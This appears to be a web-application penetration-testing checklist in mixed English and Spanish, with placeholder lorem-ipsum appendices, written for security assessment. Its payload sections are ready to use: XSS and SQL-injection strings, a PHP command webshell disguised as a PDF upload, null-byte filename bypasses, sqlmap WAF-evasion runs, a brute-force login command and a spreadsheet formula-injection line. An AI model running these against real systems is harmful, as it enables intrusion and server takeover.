

Web application vulnerability analysis

Procedure

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Changelog

v1.0	20XX-02-05	Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent porttitor arcu luctus, imperdiet urna iaculis, mattis eros.
v1.1	20XX-02-27	Pellentesque iaculis odio vel nisl ullamcorper, nec faucibus ipsum molestie.
v1.2	20XX-03-15	Sed dictum nisl non aliquet porttitor.

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1 Introducción

Acerca de las evidencias, deben de tomarse capturas de pantalla, y guardar un texto que explique la imagen de evidencia.

2 Automated scan test with OWASP ZAP

```
sudo apt install zaproxy
```

Usage:

In Python interpreter.

```
zaproxy -cmd -quickurl https://revistadigitalqa.sre.gob.mx/index.php/rmpe  
-quickprogress -quickout ~/ozap-report.html  
  
zaproxy -cmd -quickurl https://miconsuladoadminqa.sre.gob.mx/ingresar -  
quickprogress -quickout ~/ozap-report.html -host 172.24.176.1 -port  
8080
```

Scan web application like nessus. Export HTML preferred to use then your custom format.

3 Automated scan test with NESSUS

```
sudo apt update && sudo apt upgrade  
curl -JLO https://www.tenable.com/downloads/api/v1/public/pages/nessus  
/downloads/16503/download?i_agree_to_tenable_license_agreement=  
true  
  
sudo dpkg -i Nessus-10.1.1-debian6_amd64.deb  
  
sudo /opt/nessus/sbin/nessus-service
```

Go to <https://localhost:8834/>

4 WebSocket Unencrypted Communications Verification

Search for headers: Sec-WebSocket-

5 WebSocket Cross-site hijacking Test

Since a cross-site WebSocket hijacking attack is essentially a CSRF vulnerability on a WebSocket handshake, the first step to performing an attack is to review the WebSocket handshakes that the application carries out and determine whether they are protected against CSRF.

In terms of the normal conditions for CSRF attacks, you typically need to find a handshake message that relies solely on HTTP cookies for session handling and doesn't employ any tokens or other unpredictable values in request parameters. For example, the following WebSocket handshake request is probably vulnerable to CSRF, because the only session token is transmitted in a cookie

Usually a web application could work with HTTP 1.0, HTTP 2.0, WebSockets and WebHooks.

```
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=K0sEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

The Sec-WebSocket-Key header contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes. If the WebSocket handshake request is vulnerable to CSRF, then an attacker's web page can perform a cross-site request to open a WebSocket on the vulnerable site. What happens next in the attack depends entirely on the application's logic and how it is using WebSockets. The attack might involve:

6 WebSocket Denial of Service Test

```
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor'; // or ',;constructor'
  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');
  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});
```

7 TLS/SSL Verification

TLSLED

```
sudo apt install tlssled
tlssled vulnerable-site.com 443
```

SSLSCAN

```
sudo apt install sslscan
sslscan https://vulnerable-site.com
```

8 HTTP Security Headers Verification

SHCHEK

```
pip3 install shcheck
shcheck.py https://insecurity.blog
```

9 HTTP Host Header Injection Test

CURL

```
curl -s -D - --header 'Host: theevilsite.com' https://vulnerable-site.com  
> output && cat output | grep --color -E '^|theevilsite.com'
```

10 HTTP Options Method Verification

Add nmap to Kali Linux Subsystem

```
alias nmap='"/mnt/c/Program Files (x86)/Nmap/nmap.exe'"
```

NMAP

```
nmap --script http-methods <target>
```

In specific path

```
curl -i -X OPTIONS http://example.org/path
```

11 HTTP Trace Method Check

```
curl --insecure -v -X TRACE https://www.google.com/
```

La respuesta esperada para que no este activo es: 405 Method Not Allowed

12 HTTP Cookies Verification

CURL

```
curl 'https://vulnerable-site.com' -o /dev/null --dump-header - 2>&1 |  
grep -i "set-cookie"
```

13 Subresource Integrity (SRI) Implementation Verification

CURL

```
sudo apt install tidy  
curl -s https://laysent.github.io/subresource-integrity-demo/integrity.  
html | tidy -indent --indent-spaces 2 -quiet --tidy-mark no | grep  
"integrity="
```

14 Login brute force attack test

GitHub - FlorianBord2/Hatch-python3-optimised: Hatch is a
brute force tool that is used to brute force most websites

```
git clone https://github.com/FlorianBord2/Hatch-python3-optimised
```

```
python main.py --website "https://vulnerable-site.com /login" --  
passlist passlist.txt --username "cibersoc_3tin" --usernamesel  
"body > div > div > div > div:nth-child(2) > form > div:nth-  
child(1) > div > div:nth-child(1) > div > div > input" --passsel  
"body > div > div > div > div > div:nth-child(2) > form > div:nth-child  
(1) > div > div:nth-child(2) > div > div > input" --loginsel "  
body > div > div > div > div:nth-child(2) > form > div:nth-child  
(2) > div > div > button > span"
```

15 Web application exploration

Navigation.

Identify user flows.

16 Ports identification

Use NMAP.

17 Search for default configurations

Search for routes that doesn't exist.

<https://url/donotexist>

18 Hosted and related applications identification

Virtual hosts maybe.

```
nmap -sV --script=http-enum <target>
```

19 User roles identification

Identify user roles in application names, ids.

20 Username enumeration

Test more than 10 usernames.

21 Files and folders discover

```
sudo apt install dirb  
dirb https://vulnerable-site.com /ingresar
```

22 Web application technologies recognition

Use Walapalizer chrome extension.

Enlace de la extensión

23 Search for known vulnerabilities of recognized technologies

<https://security.snyk.io/> <https://www.exploit-db.com/> <https://www.cvedetails.com/>
<https://nvd.nist.gov/>

Use developer tools:

Ms edge > Lighthouse > Generate report with snink analysis

24 Extraction of metadata from downloadable files

```
exiftool sectorprivado.pdf | grep 'Creator\|Producer\|Windows\|Linux\|OS  
|\C:\|http'>
```

25 Extraction of embedded files

```
pip install docscraper  
sudo apt install exiftool  
  
import docscraper  
allowed_domains = ["vulnerable-site.com "]  
start_urls = ["https://vulnerable-site.com /index.php/xmpe"]  
extensions = [".pdf", ".docx", ".doc", ".xls", ".xlsx", ".ppt", ".pptx", ".  
txt", ".csv", ".json"]  
docscraper.crawl(allowed_domains, start_urls, extensions=extensions)
```

```
wget https://raw.githubusercontent.com/x4nth055/pythoncode-tutorials/  
master/web-scraping/link-extractor/link_extractor.py
```

Web application vulnerability analysis

```
python3 link_extractor.py https://github.com -m 2
curl https://vulnerable-site.com /index.php/rmpe/article/view/62/58 >
output && cat output | tr ";" '\n' | grep -E '(http|https|www)
:(.*)'
```

Descargar con el nombre propuesto por el servidor en lugar de wget:

```
curl -JLO https://vulnerable-site.com /index.php/rmpe/article/
download/62/58/100
```

Search for usernames:

```
exiftool sectorprivado.pdf | grep 'Creator\|Producer\|Windows\|Linux\|OS
|\C:\|http'
```

26 Data extraction from Javascript Source Code

Installation of tools:

```
pip install jsbeautifier
js-beautify file.js
```

Encryption keys search:

```
curl -s https://vulnerable-site.com/js/app.dca99adc.js | js-beautify |
awk '{$1=$1;print}' | grep -iE "crypt|aes|hmac|md5|sha512|sha256|
sha1"
echo -n 'hsBI69090juKhpPx' | md5sum
```

In case the code is obfuscated:

- JavaScript Deobfuscator (deobfuscate.io)
- de4js | JavaScript Deobfuscator and Unpacker (lelinhtinh.github.io)

Encrypt and Decrypt with Key in Online | Online Encryption and Decryption (bitcompiler.com) JSON Web Tokens - jwt.io

Si esta en cifrado en la URL entonces URL Parameters o algo asi

usar primero un URL Decoder URI.

27 Code Injection Check

```
' ; -- ` */ /* -- or # ' OR '1 ' OR 1 -- - OR 1=1 ;%00<script>javascript:
alert(123456789)</script> (&(ou=admin)(| (user=Freeman)))
```

Other payloads:

```
<a href='www.evil-site.com'>www.evil-site.com link</a>
<a href="javascript:document.write('<image src =q onerror=prompt(8)>')">
evil link</a>
<a href="javascript:let pdfWindow = window.open('');pdfWindow.document.
write(`<iframe width='100%' height='100%' src='data:text/html;
base64, ` + encodeURI(`PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4
=`) + `'></iframe>` )
">evil link</a>
<a href='data:text/html;base64,
    PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4='>clic on xss</a>
<script>javascript:alert(123456789)</script>
<image src =q onerror=prompt(8)>

<object src=1 href=1 onerror="javascript:alert(1)"></object>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<svg onload="javascript:javascript:alert(1)"></svg onload>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe
    onLoad>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)
    "></iframe onbeforeload>
<iframe><textarea></iframe><img src=' ' onerror='alert(document.domain)'>
</textarea><script>alert(/xss/)</script>
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1); onerror="
    javascript:alert(1)" onclick="javascript:alert(1)">
<iframe><textarea></iframe><img src="" onerror="alert('14/04/2022')">

<image src =q onerror=`window.parent.location = 'http://127.0.0.1:8000/
    index.html'`>
<image src =q onerror='javascript:alert(123456789)'>
```

Example: Base64 XSS payload

```
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
```

Insert value in HTML element with javascript:

```
document.getElementById("f_464cf370-896e-4af1-a0b1-3f4621ff0a36").
value = '<script>javascript:alert(123456789)</script>';
```

28 Cross Site Scripting Validation

```
<script>javascript:alert(1)</script>
```

29 File upload feature check: Webshell upload test

Download Dummy PDF: <https://www.w3.org/WAI/ER/tests/xhtml/testfiles/resources/pdf/dummy.pdf>

Dummy PNG file from browser: https://png.pngitem.com/pimgs/s/185-1850003_sample-png-transparent-png.png

```
https://github.com/TheBinitGhimire/Web-Shells
```

```
Content-Disposition: form-data; name="file"; filename="documento.php"
Content-Type: application/pdf

text/x-php

\%PDF-1.7
<html>
<body>
<form method="GET" name=<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<p>This is an example of webshell to execute commands in remote server:</p>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
<script>javascript:alert('XSS PAYLOAD')</script>
</pre>
</body>
</html>
\%\%EOF
```

```
<script>javascript:alert("Hacked pronto seras redireccionado...")</script>
```

Change de MimeType to render.

```
Content-Type: application/x-php  
text/x-php  
text/html  
text/plain  
text/x-php  
application/x-php  
application/x-httpd-php  
application/x-httpd-php-source
```

Other useful extensions:

1. PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
2. ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
3. JSP: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action Coldfusion: .cfm, .cfml, .cfc, .dbm
4. Flash: .swf
5. Perl: .pl, .cgi

```
nombre_archivo.php%0d%0a.pdf  
nombre_archivo.php%0d%0a.xlsx  
nombre_archivo.html%0d%0a.pdf  
shell.php%00.pdf  
shell.php\x00.pdf  
archivo.html\x00.pdf  
archivo.php%00.xlsx  
archivo.php\x00.xlsx
```

- Evitar caracteres especiales en el nombre del archivo
- Evitar extensiones no autorizadas
- Evitar tamaño muy grande
- Evitar mime type

30 Application stored cache on the client verification

Go to page panel, administration or whatever you want, close session and return.

31 Wireshark analysis

```
ip.addr == 172.25.118.65
tcp.dstport == 443
tcp.port==443 && ip.addr == 172.25.118.65
```

32 Zackari Tool

Selenium login selector: User Password Detect Second Factor

33 SQL Injection Test

```
sudo apt-get install sqlmap

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart
--tables

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs   --
headers= "Authorization: Bearer:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.
eyJhdWQiOiIxIiwianRpIjoiOTZhMTJlZjcxNGUzMwMTd10WZmZk0TZhMTBkJVjNDIwYTQ30WU5N2IwYjRmNGNhNDE3MTM5MzZ1NzNj0
.gJmuUp03Y0ZL_3enF3frFLWppUfN5GIEk-xGbB4YZFu1WXBeYg1BxMu6vCpCZ-
hGP0HqeeGYGUKUgUTJmI3eyhyln-
NpDh2vqc50Dy7BEwMPGR14BEHVGJrlQ206G_A0vCFP977SJS4vcUr4Zt09jigwy0
-0Tm8_z-M9gC-vfP-WYZ6hx-_QdF0TZBypbtgMxIaUh38ysnhsSsUSH-
eD7kUJQmC822Xc9qkxwhkK3VNvMUJByM3xi2gVtmCvt0FXzMejwdiiut6bZtLNNxZT9KIXjL70zD87jkIiyWnNF05c_krp4GEQM1cYmTgfFS
-IR2hnhBHAXXj461PpGkjNkqindspxDliVRpV78PVeZ1kkM0q3Np9Q_-92
pSlQkEVR-0
x1Af5z2OhuGfYd0FuhV1DFYu5BNwer71QJX9H0vCTYnseA_LFd4GxKm9YiLey8SBXi84dJ0fiH5JF1rq64oiIOVmTn0198mEYhGIYy5UQH
-HogKIGGUL2Hi0T0zW24PJnZBrMe_YY1HLsk6BPg-xfaBqbDXxMJxdJ1-
vFeU200Gtxfo9crJ11wKwvWy90Q230hUXWCKNaRKeLncKv9RWQq2_uCUjNAzcuGZsq69AwfYQLc4Mv0cW5QZBt_UVARyGVSBtyLOJykNWjIUq
" --method=POST --proxy="http://127.0.0.1:8080"

sqlmap -r request.txt --proxy="http://172.24.176.1:8080" --random-
agent --level 2 --risk 2 --tamper=between,bluecoat,charencode,
charunicodeencode,concat2concatws,equaltolike,greatest,
halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,
modsecurityzeroverversioned,multiplespaces,percentage,randomcase,
space2comment,space2hash,space2morehash,space2mysqldash,
space2plus,space2randomblank,unionalltounion,unmagicquotes,
versionedkeywords,versionedmorekeywords,xforwardedfor --time-sec
15

sqlmap -r request.txt --proxy="http://172.24.176.1:8080"
```

34 Error handling

URL overflow

Not found resource

/url/donotexist

Not permission to resource

```
sudo apt-get install sqlmap  
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart  
--tables
```

%20 white space

/%20%20%20%7F%20Por%20favor%20redirigete%20a%
201a%20siguiente%20%20direccion:%20%20%20%7F%20%
20%20%7F%20%20%20%7F%20%20%20%7F%20www.sitiomalo.
com%20%7F%20%20%20%7F%20%20%20%7F%20%20%20%7F%
20%20%20%7F%20%20%20%7F%20%20%20%7F%20%20%20%7F%
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20%20%20%7F%20%20%20%7F%20%20%20%7F%20%20%20%7F%
20%20%20%7F%20%20%20%7F%20%20%20%7F%20%20%20%7F%
20%20%20%7F%20%20%20%7FPlease, ignore the error%20

35 Functionality: Excel reporte generation

```
=cmd|' /C calc'!A0
```

36 Functionality: Email send

Check iteration limit protection for email bombing.

37 Functionality: Create user

Check iteration limit protection for email bombing.

38 Functionality: Modify user

Privilege escalation.

39 Specific technology: Uso de Joomla

Analysis with joomscan.

40 More

curl with proxy

Appendices

A Appendix Section

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam auctor mi risus, quis tempor libero hendrerit at. Duis hendrerit placerat quam et semper. Nam ultricies metus vehicula arcu viverra, vel ullamcorper justo elementum. Pellentesque vel mi ac lectus cursus posuere et nec ex. Fusce quis mauris egestas lacus commodo venenatis. Ut at arcu lectus. Donec et urna nunc. Morbi eu nisl cursus sapien eleifend tincidunt quis quis est. Donec ut orci ex. Praesent ligula enim, ullamcorper non lorem a, ultrices volutpat dolor. Nullam at imperdiet urna. Pellentesque nec velit eget euismod pretium.

B Appendix Section

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam auctor mi risus, quis tempor libero hendrerit at. Duis hendrerit placerat quam et semper. Nam ultricies metus vehicula arcu viverra, vel ullamcorper justo elementum. Pellentesque vel mi ac lectus cursus posuere et nec ex. Fusce quis mauris egestas lacus commodo venenatis. Ut at arcu lectus. Donec et urna nunc. Morbi eu nisl cursus sapien eleifend tincidunt quis quis est. Donec ut orci ex. Praesent ligula enim, ullamcorper non lorem a, ultrices volutpat dolor. Nullam at imperdiet urna. Pellentesque nec velit eget euismod pretium.

C Appendix Section

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam auctor mi risus, quis tempor libero hendrerit at. Duis hendrerit placerat quam et semper. Nam ultricies metus vehicula arcu viverra, vel ullamcorper justo elementum. Pellentesque vel mi ac lectus cursus posuere et nec ex. Fusce quis mauris egestas lacus commodo venenatis. Ut at arcu lectus. Donec et urna nunc. Morbi eu nisl cursus sapien eleifend tincidunt quis quis est. Donec ut orci ex. Praesent ligula enim, ullamcorper non lorem a, ultrices

volutpat dolor. Nullam at imperdiet urna. Pellentesque nec velit
eget euismod pretium.